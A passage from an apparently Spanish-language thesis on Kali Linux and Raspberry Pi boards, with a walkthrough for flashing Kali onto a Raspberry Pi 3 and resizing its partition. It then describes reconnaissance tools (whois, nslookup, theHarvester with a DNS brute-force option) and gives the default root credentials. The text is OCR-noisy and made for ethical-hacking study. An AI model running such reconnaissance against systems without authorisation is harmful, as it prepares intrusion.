actualizados con los ultimos avances en el campo ofensivo; esto ayudaria a
administradores de redes y expertos en cyber defensa estar al dia con las

nuevas vulnerabilidades del mundo informatico (Offensive Security, 2018)

Mati Aharoni, Devon Kearns and Raphaél Hertzog fueron los
encargados del desarrollo de Kali Linux, lanzado a la web por primera vez el
13 de Marzo del 2013, la empresa se encarga de brindar las certificaciones

de capacitacion sobre el sistema, asi como el soporte del mismo.
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Kali Linux se define como un sistema operativo de auditoria informatica,
gratis, el cual incluye un set de mas de 300 herramientas (en su versiébn mas
completa) para pruebas de penetracion y auditorias de seguridad. Esto brinda
a las personas relacionadas al campo de la seguridad informatica a probar la
efectividad de las diferentes estrategias de mitigacion de riesgos (Broad y
Bindner, 2014).

Kali Linux brinda una gran experiencia de navegacion a través de su
sistema operativo, su adherencia a los estandares de desarrollo de Debian
7.0 permite que los administradores de redes estén ya familiarizados con su
entorno. Esta fusion y disefio del sistema operativo nos brinda una robusta
solucion de herramientas, que pueden ser actualizadas de manera rapida y
sencilla. Asi mismo los usuarios podrian personalizar el sistema de acuerdo a

sus preferencias y necesidades (Broad y Bindner, 2014).

Kali es considerado la continuacion del proyecto Backtrack, sistema
operativo basado en Ubuntu Lucid TLS, el cual aun se encuentra disponible
para descargas pero la empresa ha dejado muy claro que Kali es su

predecesor.

Offensive Security (2014) manifiesta que, este sistema operativo nos
brinda caracteristicas muy buenas entre las cuales podemos destacar:

i. Completo: Kali nos provee una larga cantidad de
herramientas para facilitarnos el proceso de realizar una
auditoria forense a una red.

ii. Gratuito y de codigo abierto: El software puede ser
descargado por cualquier persona desde la pagina oficial,
y asi mismo en el repositorio de Kali podemos encontrar
todo el cadigo para realizar los cambios que el usuario
desee realizar.

iii. Permite su instalacion en una larga lista de hardwares asi
como su virtualizacion en software de tipo VirtualBox o
VMWare.
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iv. Seguro: Kali Linux ha demostrado crear confianza al usar
multiples protocolos seguros al realizar cambios en los
repositorios o actualizacion de paquetes. Los paquetes y
repositorios son firmados por la herramienta de cifrado de
archivos GNU Privacy Guard por cada desarrollador.

v. Permite ser instalado en arquitecturas ARM y ARMHF.

2.4.1. Versiones de Kali Linux

Desde su lanzamiento el 13 de Marzo de 2013 con la version 1.0, Kali
se ha mantenido en constante actualizacion por parte de su equipo de
desarrollo, llegando hasta la fecha a la version Kali 2018.2 (Kali by Offensive
security, 2018). En la siguiente se presenta un listado de sus tres versiones

mas recientes:

Tabla 2.2 Versiones recientes de Kali Linux

Kali 2017.3 21 de Noviembre del 2017 . Kernel 4.13, GNOME 3.26.

o CIFS usa ahora SMB 3.0 por
default.

« Los directorios EXT4 pueden
tener hasta 2 Dbillones de

entradas.

» El soporte TLS ya viene incluido
dentro del kernel.

« Varias actualizaciones de

paquetes.

« Se afiaden las herramientas
InSpy, CherryTree, Sublist3r,
OSRFramework y se realiza un
cambio masivo en la herramienta

Maltego.
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Kali 2018.1 6 de febrero del 2018 . Kernel 4.14.12, GNOME 3.26.2.

varios.
Elaborado por: Autor. o
« Actualizaciones de Hyper-V.

« Actualizaciones de paquetes

Kali 2018.2 30 de Abril del 2018 « Actualizacion de varios

paquetes.

Metasploit.

» Acceso mas féacil a los scripts de

2.4.2. Sitio Oficial de Kali Linux y enlaces de int  erés.
Kali Linux cuenta con una pagina web donde podemos encontrar la
documentacion oficial, repositorios, cambios en el log oficial del sistema y

muchos otros datos de interés, siendo los mas importantes:

a. Sitio Oficial: https://www.kali.org
Descargas:
https://www.kali.org/downloads/

c. Documentacion:
https://docs.kali.org/documentation/

d. Codigo Fuente: http://git.kali.org/gitweb/

2.5. Computadoras de Placa Simple

También conocidas como ordenador de placa reducida, es una
computadora completa en un mismo circuito, esto quiere decir que en una
misma placa se incluye el procesador, memoria y algunos tipos de entradas y

salidas lo que le permite funcionar como un computador (Burckle, s. f.).

Retrocediendo unas cuantas décadas a los afios 70’s, las tarjeta “dyna-
mycro” podian ser consideradas el inicio de las computadoras de placa simple,
estas diferian de las tarjetas madres que se producian en masa ya que estas
tenian puertos de expansion para los periféricos (ElectronicDesignUncovered,
2014).
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Con el paso de los afios y los avances en los semiconductores y con
esto en los microcontroladores permitieron un gran avance en el desarrollo de
estas plataformas. Para entender la gran revelacion en estas tecnologias
basta retroceder 10 afios a Ivrea, Italia donde un equipo de desarrollo buscaba
crear un kit de bajo costo y facil de usar basado en un micro controlador
llegaron al lanzamiento del famoso Arduino (ElectronicDesignUncovered,
2014). Esto desencadeno toda una serie de desarrollos y la creacion de una
nueva comunidad en la electronica conocida como DlYers (de las siglas Do It

Yourself).

Actualmente se pueden dividir a estos computadores en dos tipos,
los propietarios y de codigo abierto. Los primeros son productos
industrializados que generalmente seran parte de un rack de equipos o
complementaran a otro producto final, estos contaran con funciones
preestablecidas. Los de cédigo abierto ofrecen al usuario acceso tanto al
hardware como al software lo que permite una completa manipulacion de los
mismos, es decir, el usuario decidira cobmo quiere que el computador actual

y las funciones que este tendra (Burckle, s. f.).

Existen varias marcas y tipos de computadoras de placa simple, pero
para este trabajo de investigacion nos enfocaremos en la plataforma que se

usara: Raspberry Pi 3 Model B.

2.5.1. Arquitecturas ARM.

ARM son las siglas en ingles de Advanced RISC Machine, lo que se
traduce como Maquina de RISC Avanzada, RISC a su vez proviene de
Reduced Instruction Set Computer, en espafiol Computador con Conjunto de
Instrucciones Reducidas. ARM es el primer procesador de este tipo para uso
comercial (Vijay y Bansode, 2015).

El procesador ARM esta basado en la arquitectura RISC y tiene sus

principales aplicaciones en televisores digitales, teléfonos celulares, laptops,

entre otros. Aunque actualmente existen varias arquitecturas de este tipo
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desarrolladas por varias empresas, la mas comun y la mas usada es la

desarrollada por la compafia ARM Ltd’s (Vijay y Bansode, 2015).

A lo largo de los afios la tecnologia ha evolucionado y en su ultima
version, ARMv8, ha tenido un considerable cambio al pasar de 32 a 64 bits, la

cual ha sido ampliamente aceptada y empleada por varias organizaciones.

2.5.2. Raspberry Pi.

La plataforma Raspberry Pi es una serie de ordenadores de placa
simple diseiflada en el Reino Unido por la Raspberry Pi Foundation. Este
proyecto nace como una iniciativa para la ensefianza de computacion basica
en las escuelas asi como una herramienta para desarrollo en paises mas
avanzados (MagPi, 2017).

Luego de su primer lanzamiento en Febrero del 2012, la plataforma
tuvo mas aceptaciéon de lo esperado, derivando en la division de la compafia

en dos ramas:

« Raspberry Pi Foundation: Esta parte de la compafiia actia como una
fundacién educativa y concentra sus recursos en la ensefianza de

computacion basica y programacion en escuelas en todo el mundo.

- Raspberry Pi Trading: Es la parte responsable del desarrollo de

tecnologia.

Es tanta la aceptacion de esta plataforma que para el 2015 ya habia
vendido mas de 5 millones de unidades (The Guardian, 2015). A pesar de que
al principio fue adoptado solo por personas dedicadas a la computacion y a la
programacion como una herramienta de prueba, se ha convertido en parte de
sistemas industriales asi como una herramienta de ensefianza en varias

escuelas y universidades del mundo.

La pagina oficial de Raspberry Pi actualmente ofrece 6 modelos

diferentes, los cuales seran presentados en la tabla a continuacién, mostrando

29



las principales caracteristicas y especificaciones (The Pi Shop, 2016). Estos
modelos eran fabricados en su totalidad en China pero actualmente la mayor
parte de sus modelos son fabricados en una empresa de manufactura de

tarjetas electronicas perteneciente a Sony en Gales, Reino Unido.

Tabla 2.3 Cuadro comparativo de los modelos de Rasberry Pi.

Raspberry  Modelo
Modelo B Modelo B+ 2, Modelo B 3, Modelo B 3, Modelo B+

Pi: A+
El de
menor Aumento de Puerto
recio, Mas chip para @ ethernet
P CPU més P p o Y
ordenad puertos ) conexiones  chip Wifi mas
El rapido y _ _
or de USBy wireless y | rapidos asi
Resumen: Raspberry mayor
placa GPIO que i bluetooth. como el CPU
) Pi original. memoria que .
simple el Modelo B Mayor mas rapido
el B+.
mas B. velocidad hasta el
pequefio de CPU. momento.
Broadcom Broadcom B
) Broadcom
Chip: Broadcom BCM2835 BCM2837 (CM2837B0
BCM2836 ] ]
64-bit 64-bit
ARM ARM Cortex-
] ARMv7 quad
Procesador: ARMV6 single core Cortex-A53 | A53 quad
core
quad core core
Velocidad de
700 MHz 900 MHz 1.2 GHz 1.4 GHz
procesador:
Voltaje y
750mA @
consumo de 600mA @ 5V 650mA @ 5V £y 750mA @ 5V
energia:
GPU: Dual Core VideoCore IV Multimedia Co-Processor
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65x56m

Tamario: 85x56mm
m
256 MB
1GB
] SDRAM 512 MB SDRAM @ 1 GB SDRAM 1 GB SDRAM
Memoria: SDRAM @
@ 400 400 MHz @ 400 MHz @ 900 MHz
900 MHz
MHz
| Tarjeta ) ) ) ) ) _ _
Almacenami N Tarjeta Tarjeta Tarjeta Micro  Tarjeta  Tarjeta Micro
icro
ento: SD Micro SD SD Micro SD SD
SD
4
GPIO: 0 23 Y
USB 2.0: 1 2 4
Puerto
] 10/100/1000
Ethernet  Ninguno. Puerto 10/100mb Ethernet RJ45.
mb Ethernet
RJ45.
Integracién
_ Integracién = de estandar
Wireless )
Ninguno. de 802.11 2.4GHzy
LAN
b/g/n. 5GHz 802.11
b/g/n/ac.
Bluetooth  Integrated
4.1 (clasico Bluetooth 4.2
Bluetooth Ninguno. y de baja (clasico y de
energia) baja energia)
integrado.  integrado.
Audi Audio Multi-Canal HD por medio de HDMI, sonido analogo estéreo por el
udio:

puerto de 3.5 mm para audio externo.

Fuente: (Pagina Oficial Rasberry Pi, 2016)

Fuera de las diferencias mencionadas en la tabla previa, todos los

diferentes modelos comparten las siguientes caracteristicas:

- Compatibilidad con los siguientes sistemas operativos: Raspbian
RaspBMC, Arch Linux, Rise OS, OpenELEC Pidora.

- Salida de video: HDMI Composite RCA.
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- Resoluciones de pantalla soportadas: 640x350 a 1920x1200, incluyendo
1080p, estandares PAL & NTS.

- Fuente de poder: Micro USB.

2.5.2.1. Raspberry Pi 3 Model B

Como se ha mencionado previamente, esta es la arquitectura que se ha
decidido usar para esta investigacion. Este modelo pertenece a la tercera
generacion de computadores de placa simple creados por la empresa. Esta
poderosa herramienta del tamafio de una tarjeta de crédito, funciona bajo la
arquitectura ARM y cuenta con todas las caracteristicas necesarias para llevar
a cabo una gran variedad de funciones que el usuario desee, esto gracias a

la gran cantidad de sistemas operativos que esta puede usar (MagPi, 2017).

Figura 2.3 Raspberry Pi 3 Model B
Fuente: (P4gina Oficial Raspberry Pi, 2014)
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3. CAPITULO 3: INSTALACION DE KALI LINUX EN LA PLAT AFORMA
RASPBERRY Pl 3 MODEL B Y ANALISIS DE HERRAMIENTAS

En este capitulo se explicara paso a paso la instalacion de la imagen de disco

del sistema operativo Kali Linux en la memoria, asi como los pasos previos

para instalar y configurar el sistema en el Raspberry Pi a usar. Para esta parte,

la investigacion se basara en el libro “Test de Intrusion con Raspberry Pi” de

los autores Michael McPhee y Jason Beltrame. Posteriormente se realizara

un andlisis de las herramientas existentes (McPhee y Beltrame, 2016).

Para esta parte practica de la presente investigacion se usaran los siguientes

equipos:

Tabla 3.1 Listado de hardware empleado.

Modelos de Hardware

Propiedades Técnicas

Funcion

MacBook Pro (Retina, 13-inch,
Early 2015)

Procesador: 2,7 GHz Intel Core i5
Memoria: 8 GB 1867 MHz DDRS3
Sistema operativo: macOS High
Sierra (10.13.6)

Descargar la imagen de
disco del sitio oficial de
Offensive Security.
Copiar esta imagen de

disco en la memoria.

Tarjeta Micro Sd SanDisk Ultra

Capacidad de 32 GB
Velocidad de transmisién de
hasta 80 MB/s

Esta memoria sera
practicamente la forma
de llevar el sistema
operativo al Raspberry
Pi.

Raspberry Pi 3 Model B

Arquitectura ARM

Procesador: ARM Cortex-A53
qguad core

Chip: Broadcom BCM2837 64-bit
Memoria: 1 GB SDRAM @ 900
MHz

La plataforma encargada
de ejecutar el sistema
operativo y brindarnos
todas las utilidades
necesarias para las

pruebas a realizar.

Elaborado por: Autor
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3.1. Preparacién Previa

Para empezar al proceso se debe acceder a la pagina oficial de
Offensive Security y acceder a la pagina de descargas de imagenes del
sistema operativo en ARM y descargar la imagen especifica para el Raspberry

Pi 3, esta se encontrara en la direccidon: https://www.offensive-

security.com/kali-linux-arm-images/, A la fecha actual de esta investigacion la

version de la imagen de disco es 2018.2.

Se procedera a descargar la misma por medio de Torrent y antes de
empezar la instalaciéon realizaremos la comparacién de la suma SHA256 que
se encuentra en la péagina oficial de descargas (con un valor actual de
69b96f5dd2bd1c23f8878e5efl17e6c2ech6e5f9a75d66bdea81687fa8433f24)
con el valor que obtendremos en el sistema luego de la descarga, de la

siguiente manera:

Asumiendo que tenemos el archivo descargado en el escritorio
(Desktop), procederemos a abrir un terminal y escribir la siguiente linea de
comando: shasum -a 256. Donde, se obtendra el wvalor
69b96f5dd2bd1c23f8878e5efl17e6c2ech6e5f9a75d66bdea81687fa8433f24,
gue como se puede observar es el mismo que se muestra en el sitio web, con

lo cual se concluye que el archivo no fue alterado durante su descarga.

Realizada la comparacion de valores shasum, el siguiente paso sera,
con ayuda de un adaptador USB, conectar la tarjeta Micro SD, la cual debera
ser formateada antes de su uso para este tutorial en el caso de contener
informacion previa, y proceder a identificarla en nuestro sistema. En este caso

hemos renombrado la tarjeta como Kali Linux.

3.2. Descompresién del Archivo y Copia de la Imagen de Disco en la
Tarjeta MicroSD
Una vez que tenemos nuestra memoria con el nombre escogido, se
procedera a la descompresion del archivo mediante el siguiente comando en

una terminal: xz -d kali-2.1.2-rpi2.img.xz
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Luego, se procede a desmontar la tarjeta SD, para lo cual, primero se
debe identificar bajo que nombre se encuentra en el Sistema. Lo mencionado
anteriormente se lo realizara con el comando diskutil list, lo cual dara el listado
de los discos montados en la Mac. Esto se realiza con el fin de evitar
desmontar cualquier otro disco por error. Luego de este comando se podra
identificar el disco ya sea por el nombre previamente asignado o por el tamafio

del mismo, como se puede observar en la siguiente captura:

MacBook-Pro-de-Carlos:~ carlosestrada$ diskutil list
/dev/disk@ (internal, physical):

#: TYPE NAME SIZE IDENTIFIER

0: GUID_partition_scheme *251.0 GB  disk@

i i EFI EFI 209.7 MB  disk@sl

2: Apple_APFS Container diskl 250.8 GB  disk@s2
/dev/diskl (synthesized):

#: TYPE NAME SIZE IDENTIFIER

0: APFS Container Scheme - +250.8 GB  diskl

Physical Store disk@s2

4s APFS Volume Macintosh HD 229.9 GB  disklsl

2: APFS Volume Preboot 21.9 MB diskls2

3: APFS Volume Recovery 519.0 MB  disk1s3

4: APFS Volume VM 3.2 GB diskls4
/dev/disk3 (external, physical):

#: TYPE NAME SIZE IDENTIFIER

0: FDisk_partition_scheme *31.9 GB disk3

1L0 Windows_FAT_32 Kali Linux 31.9 GB disk3sl

MacBook-Pro-de-Carlos:~ carlosestrada$ I

Figura 3.1 Identificacion de la tarjeta de memoria en el Sistema
Elaborado por: Autor
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Como se puede observar la memoria se encuentra con el nombre
/dev/disk3. Luego se procede a desmontar el disco mediante el comando:
diskutil unmountDisk /dev/disk3

Finalizado este proceso, se procedera a copiar la imagen de disco con
ayuda del comando dd. Siempre hay que asegurarse que se ha seleccionado
el archivo correcto al igual que el disco. Dicho proceso puede tardar varios
minutos y se puede ver el progreso presionando control+t. EI comando a

ingresar deberd tener el siguiente formato:

sudo dd if=/Users/carlosestrada/Desktop/kali-linux-2018.2-rpi3-nexmon.img
of=/dev/disk3 bs=1m

Ingresado el comando previo, se solicitara la contraseia del
computador y empezara la copia del archivo. En la siguiente captura de
pantalla se puede ver el comando ingresado y el resultado obtenido al
presionar control+t, este ayudara a ver que el proceso se sigue ejecutando en

este caso.

MacBook-Pro-de-Carlos:~ carlosestrada$ sudo dd if=/Users/carlosestrada/Desktop/k
ali-1linux-2018.2-rpi3-nexmon.img of=/dev/disk3 bs=1m

Password:

load: 1.75 cmd: dd 3651 uninterruptible 0.00u 0.17s

3640 records in

3540 records out

36700160 bytes transferred in 2.999593 secs (12235046 bytes/sec)
load: 1.73 «cmd: dd 3651 uninterruptible ©.00u 10.79s

2027+0 records in

2026+0 records out

2124414976 bytes transferred in 184.610998 secs (11507521 bytes/sec)

Figura 3.2 Copia de la imagen de disco a la tarjeta de memoria.
Elaborado por: Autor
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Finalmente, cuando el terminal permita ingresar un nuevo comando
indicando que ha terminado el proceso de copia de la imagen, se usara el
siguiente comando con el fin de expulsar la memoria de manera segura:

diskutil eject /dev/disk3

—_— e mm—mm - — gy m—m= =t —ee— - = - = ————— = —— -——-— ——————— - gy —— = ———

MacBook Pro-de-Carlos:~ carlosestrada$ diskutil eJect /dev/disk3
Disk /dev/disk3 ejected
MacBook-Pro-de-Carlos:~ carlosestrada$ [

Figura 3.3 Extraccidn segura de la tarjeta de memoria.
Elaborado por: Autor

Finalizada esta primera parte del proceso, se puede desconectar el
adaptador USB, retirar la tarjeta microSD y proceder a insertarla en el
Raspberry Pi 3. Se procedera a conectar el Raspberry Pi a la fuente de poder

y se visualizara la pantalla inicial de Kali.

Aparecera la pantalla de inicio del sistema y es necesario insertar las
siguientes credenciales:
Usuario: root

Contrasefa: toor

3.3. Combinando Kali Linux y el Raspberry Pi
Antes de introducirse en la interfaz de Kali Linux se deben realizar las

siguientes acciones para dejar lista nuestra plataforma de intrusién:

« Cambiar la contrasefia
« Actualizar Kali Linux

« Cambiar el tamafio de la particién en la microSD para aprovechar los 32
GB disponibles. Este paso es importante ya que evitara problemas

comunes relacionados al espacio disponible en la memoria.
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El primer paso, es cambiar la contrasefia, ya que la plataforma de
intrusion debe contar con la debida seguridad de acceso. Para esto se abrira
un terminal y se escribira el comando passwd y se solicitara introducir dos

veces la nueva contrasefia.

El siguiente paso sera a actualizacion de los paquetes para poder
contar con las ultimas versiones de cada programa. Esto se lograra con los

siguientes comandos:

apt-get update
apt-get upgrade
apt-get dist-upgrade

Luego de esto, se reiniciara el sistema y se tendran herramientas
actualizadas. Lo siguiente que se realizara sera la nueva reparticion del uso

de memoria, esto con el fin de aprovechar toda la capacidad de la microSD.

En esta parte se utilizard la interfaz de linea de comando
directamente, y se empezarda escribiendo el comando df -h el cual permitira
observar la memoria usada, en este caso muestra que el total de memoria
gue tiene el sistema es 6.7 GB, algo muy distante del total de la tarjeta de

memoria.

root@kali:~# df -h

Filesystem Size Used Avail Use¥% Mounted on
/dev/root 6.7G 3.0G6 3.4G 47% /

devtmpfs 459M 4590M 0% /dev
tmpfs 463M 463M 0% /dev/shm
tmpfs 463M 45IM 3% /run

tmpfs 5.0M 5.0M 0% /run/lock
tmpfs 463M 463M % /sys/fs/cgroup
tmpfs 93M 4.0K 93M 1% /run/user/Q
root@kali:~# ||

Figura 3.4 Estado inicial de la memoria disponible
Elaborado por: Autor
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Los siguientes pasos lograran que se aproveche al maximo el espacio
gue posee la memoria. Es importante contar con este espacio extra para

archivos de comandos, logs, entre otros.

Para lograr esto, se usara los comandos fdisk, parted y resize2fs.

Este es el proceso paso a paso:

1. En este primer paso se accedera a la utilidad de disco, donde se
podra observar como se encuentran las particiones de disco y se
decidira los cambios que se realizaran. Esto se hace con el comando
fdisk /dev/immcblkO.

2. Ahora, se ingresa el comando p que brindara la informacién exacta de

la particién de la memoria.

root@kali:~# fdisk /dev/mmcblk@

Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.

Command (m for help): p

Disk /dev/mmcblk@®: 29.3 GiB, 31444697088 bytes, 61415424 sectors
Units: sectors of 1 * 512 = 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

I/0 size (minimum/optimal): 512 bytes / 512 bytes

Disklabel type: dos

Disk identifier: @x30dd529e

Device Boot Start End Sectors Size Id Type
/dev/mmcblkOpl 1 125000 125000 61M c W95 FAT32 (LBAD
/dev/mmcb1k@p2 125001 14334047 14209047 6.8G 83 Linux

Command (m for help): q

root@kali:~# [

Figura 3.5 Particiones iniciales en la memoria
Elaborado por: Autor

3. Se procedera a salir de la utilidad fdisk ingresando g. En este paso se
borra la particion actual, luego se ingresa a la utilidad parted y se
selecciona la microSD que se modificara usando el nombre obtenido
en el paso previo. Esto se realizara con el siguiente comando parted
/dev/immcblkO.

4. Ahora, se visualiza la utilidad de tabla de particiones, aqui se

cambiara la unidad a chs, referente a cilindros, encabezados y
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sectores. Esto permitir4 obtener los nimeros correctos para la
redimension y lo hara con el comando unit chs.

Una vez seleccionada la correcta unidad se usara el comando print
para obtener la informacion de la unidad, y asi obtener los valores
correctos que se necesitardn en los pasos posteriores.

En este paso se debera anotar los nUmeros que se encuentran en la
linea que empieza con Disk, en este caso la linea es la siguiente:
Disk /dev/immcblk0: 3822,237,62

Una vez que se obtienen los valores, se procede a borrar la segunda
particion existente, esto se lograra ingresando rm 2, donde 2
representa la particion a eliminar.

Se presentara un mensaje sobre un error en el cual se debe ingresar i
para ignorar.

Una vez eliminada, se podr& confirmar usando nuevamente el

comando print y se observara que solo existe una particion ahora.

10. En esta etapa, se debe tener solo una particion y se estara listo para

crear la nueva, que usard todo el espacio disponible. En la siguiente
captura se puede observar lo descrito entre los pasos 3 al 9.

root@kali:~# parted /dev/mmcblk@

GNU Parted 3.2

Using /dev/mmcblk@

Welcome to GNU Parted! Type 'help' to view a list of commands.
(parted) unit chs

(parted) print

Model: SD SD32G (sd/mmc)

Disk /dev/mmcblk@: 3822,237,62

Sector size (logical/physical): 512B/512B

BIOS cylinder,head,sector geometry: 3822,255,63. Each cylinder is 8225kB.
Partition Table: msdos

Disk Flags:

Number Start End Type File system Flags
1 0,0,1 7,199,8 primary fatl6 1ba
2 7,199,9 892,64,35 primary ext4

(parted) rm 2

Error: Partition(s) 2 on /dev/mmcblk® have been written, but we have been un|
it/they are in use. As a result, the old partition(s) will remain in use.
Ignore/Cancel? i

(parted) print

Model: SD SD32G (sd/mmc)

Disk /dev/mmcblk@: 3822,237,62

Sector size (logical/physical): 512B/512B

BIOS cylinder,head,sector geometry: 3822,255,63. Each cylinder is 8225kB.
Partition Table: msdos

Disk Flags:

Number Start End Type File system Flags
1 0,0,1 7,199,8 primary fatl6 1ba

Figura 3.6 Visualizacion de los pasos 3 al 9
Elaborado por: Autor
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11.Ahora, se procedera a crear la particion usando la misma utilidad
parted. Es aqui donde se usa los nimeros previamente anotados, y
se hara uso del comando mkpart. Luego, se usaran los nimeros
correspondientes a la particion existente sumandole uno al tercer
namero y luego los numeros previamente anotados. En este caso el
comando a ingresar seria el siguiente:
(parted) mkpart primary 7,199,9 3822,237,62.

12.Una vez ingresado ese comando se obtendra una advertencia la cual
se ignorara ingresando i. Posteriormente, se procede a usar
nuevamente el comando print con el fin de confirmar que fue creada
exitosamente y se procede a salir de la utilidad parted. Los pasos 11

y 12 pueden ser observados en la siguiente captura de pantalla:

root@kali:~# parted /dev/mmcblkd

GNU Parted 3.2

Using /dev/mmcblko

Welcome to GNU Parted! Type 'help' to view a list of commands.
(parted) mkpart primary 7,199,9 3822,237,62

Warning: The resulting partition is not properly aligned for best performance.
Ignore/Cancel? i

(parted) print

Model: SD SD32G (sd/mmc)

Disk /dev/mmcblk@: 31.4GB

Sector size (logical/physical): 512B/5128

Partition Table: msdos

Disk Flags:

Number Start End Size  Type File system Flags
1 5126 64.0MB 64.0MB primary fatl6 1ba
2 64.0MB 31.4GB 31.4GB primary 1ba

(parted) quit
Figura 3.7 Creacion de la nueva particion en la memoria
Elaborado por: Autor

13.Ahora, se expande el valor de Filesystem para asegurar que el
sistema tomara ventaja de todo el espacio disponible. Esto lo se
realizara con el siguiente comando:

resize2fs /dev/immcblkOp2.
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root@kali:~# resize2fs /dev/mmcblk@p2
resize2fs 1.42.13 (17-May-2015)

Filesystem at /dev/mmcblk@p2 is mounted on /; on-line resizing required
old_desc_blocks = 1, new_desc_blocks = 2
The filesystem on /dev/mmcblk@p2 is now 7661302 (4k) blocks long.

Figura 3.8 Expansion de valor de Filesystem
Elaborado por: Autor

14.Finalmente, se confirma que el espacio esta disponible usando
nuevamente el comando df —h, donde se podra observar el nuevo

tamafo disponible.

root@kali:~# df -h

Filesystem Size Used Avail Use% Mounted on
/dev/root 296 3.0G 256 11% /
devtmpfs 45M 450M 0% /dev
tmpfs 463M 463M 0% /dev/shm
tmpfs 463M 45IM 3% /run

tmpfs 5.0M 5.0M 0% /run/lock
tmpfs 463M 463M 0% /sys/fs/cgroup
tmpfs 93M 4.0K 93M 1% /run/user/0
root@kali:~# >

Figura 3.9 Confirmacion de nuevo espacio disponible
Elaborado por: Autor

3.4. Analisis de Herramientas Destacadas
Finalizados los pasos anteriores, se tendr4& como resultado una
plataforma lista para ser usada como una herramienta de intrusion capaz de

analizar una red de datos y encontrar sus vulnerabilidades.

A continuacion, se realizara un analisis de las principales herramientas
instaladas, las cuales se describiran de acuerdo a las fases del hacking ético

explicadas en el capitulo 2, y por supuesto, exceptuando la dltima fase
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(Presentar Informe). Cabe recalcar que la version ARM para Kali Linux posee
las herramientas basicas para cada etapa, a diferencia de la version completa
de escritorio la cual tiene aproximadamente 200 herramientas por defecto; en
el caso de que se quisiera expandir el listado de herramientas Kali da la opcién
de descargar meta paquetes los cuales incluyen conjuntos de herramientas
de acuerdo al meta paquete que se descargue (wireless, top 10, all, forense,

entre otros).

Para el analisis de las herramientas, seguiremos los parametros

usados por la autora Yanez (2015), los cuales son:

Campos Descriptivos:
* Nombre de la herramienta
» Captura de pantalla de la herramienta
* Funcion Principal
» Caracteristicas
» Version
* Autor
» Sitio Web Oficial
* Licencia
* Opciones Disponibles
» Escrita en (Lenguaje de Programacion)
« Fase del Hacking Etico a la que contribuye
» Datos técnicos
* Observaciones (Opcional)

+ Valoracioén Final de la herramienta
Campos de Opcié nn Mdltiple:

* Modo de ejecucionn (Consola, GUI, Web)

* Nivel de Complejidad (Basico, Intermedio, Avanzado)
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Campos de Calificacién: Se usara una escala del 1 al 5, donde uno
representa la no existencia de la caracteristica y cinco una aplicacion 6ptima
de la misma.

» Facilidad de Uso
» Calidad de resultados

*« Presentacion de los resultados

3.4.1. Fase de reconocimiento.
Como se explico previamente, esta fase consiste en obtener toda la
informacion posible sobre el objetivo. Kali Linux para esta etapa ofrece dos

aplicaciones: Maltego y The Harvester.

Antes de evaluar dichas herramientas, se explicara dos comandos que
pueden ser usados directamente en una terminal con el fin de obtener
informacion de un objetivo (whois y nslookup). Estas son técnicas pasivas ya
gue no interactian directamente con el objetivo y se basan en informacién

publica para la recoleccion de informacion.

Whois

Segun el RFC mas reciente (3912), el comando whois se define como
un protocolo de tipo TCP usado ampliamente para proveer de servicios de
informacion en el internet. Originalmente cubria solo informacion de dominios,
en la actualidad tiene un amplio rango de servicios de informacion. Este
protocolo entrega informacion en un formato legible para cualquier persona
(Daigle, 2004).

Para hacer uso de este protocolo basta con escribir directamente el

comando y el sitio que se desea analizar en un terminal, lo cual se muestra

en la siguiente captura con su debido resultado:
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[root@kali:~# whois nmap.org

Domain Name: NMAP.ORG

Registry Domain ID: D3106402-LROR

Registrar WHOIS Server: whois.fabulous.com
Registrar URL: http://www.fabulous.com
Updated Date: 2017-12-04T19:16:56Z

Creation Date: 1999-01-18T05:00:00Z

Registry Expiry Date: 2024-01-18T05:00:00Z
Registrar Registration Expiration Date:
Registrar: Sea Wasp, LLC

Registrar IANA ID: 411

Registrar Abuse Contact Email: support@fabulous.com
Registrar Abuse Contact Phone: +61.282133006
Reseller:

Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProh
ibited

Registrant Organization: Insecure.Com LLC
Registrant State/Province: WA

Registrant Country: US

Name Server: NS1.LINODE.COM

Name Server: NS2.LINODE.COM

Name Server: NS3.LINODE.COM

Name Server: NS4.LINODE.COM

Name Server: NS5.LINODE.COM

Figura 3.10 Uso del comando whois al sitio web nmap.org

Elaborado por: autor

En sistemas Linux y MacOS este comando viene por defecto mientras
que en Windows debe ser descargado, igualmente existen varias paginas web

gue ofrecen estas busquedas en una interfaz grafica.

Nslookup

De acuerdo al RFC 2151, nslookup es un protocolo basado en TCP
dedicada a descubrir servidores y sus direcciones IP (Shepard y Kessler,
1997). Pueden incluirse comandos para especificar lo que se desea encontrar,

como es el caso de:

NS: Nombres de dominio de los servidores DNS.
MX: Informacion de los Servidores de correo.
ALL/ANY: ALL para Windows y ANY para Linux. Permite obtener toda

la informacion registrada.
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El comando tendria el formato siguiente: nslookup -type=[ NS | MX |
ALL/ANY] sitio.com

:~# nslookup ucsg.edu.ec
172.20.10.1
172.20.10.1#53

Non-authoritative answer:

Name : ucsg.edu.ec
Address: 192.188.52.3

e I

Figura 3.11 Uso del comando nslookup
Elaborado por: autor

The Harvester
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* TheHarvester Ver. 3.0.0
* Coded by Christian Martorella
* Edge-Security Research

* cmartorella@edge-security.com

*
*
*
*
*
*
*
*
*
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Figura 3.12 Pantalla inicial de herramienta The Harvester
Elaborado por: Autor

Funcioén Principal: Recopilar informacion publica de un sitio web, tales
como subdominios, equipos, correos electronicos, entre otros aspectos
del objetivo (Pérez, 2015).

Segun Martorella (2018), las caracteristicas de “The Harvester” son:

Caracteristicas:

» Sencilla: Su uso es muy simple directamente en la terminal.
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Orden: Permite observar los resultados agrupados en secciones.
Efectiva: Brinda datos sobre la notoriedad de la compafiia en internet.
Usa motores de busqueda para realizar reconocimiento pasivo.
Permite exportar los resultados en formato HTML y XML.

Version: 3.0

Autor: Christian Martorella

Sitio Web Oficial:  https://github.com/laramies/theHarvester

Licencia: GNU GPLv2

Opciones Disponibles: Se pueden editar varios parametros para
realizar busquedas mas especificas, automaticas o especificar tiempo
y nimero de datos a analizar. Los parametros son los siguientes:

d: Dominio del sitio web a analizar.

b: Fuente para recoleccion de datos: baidu, bing, bingapi, dogpile,
google, googleCSE, googleplus, google-profiles, linkedin, pgp, twitter,
vhost, virustotal, threatcrowd, crtsh, netcraft, yahoo, all.

s: Empezar en el resultado X (Por defecto: 0)

v: Verificar el nombre de host por resolucion DNS.

f: Grabar resultados en formato HTML y XML.

n: Ejecuta una resolucién invertida consultandos todos los rangos
descubiertos.

c: Realizar un ataque de fuerza bruta DNS para los nhombres de los
dominios.

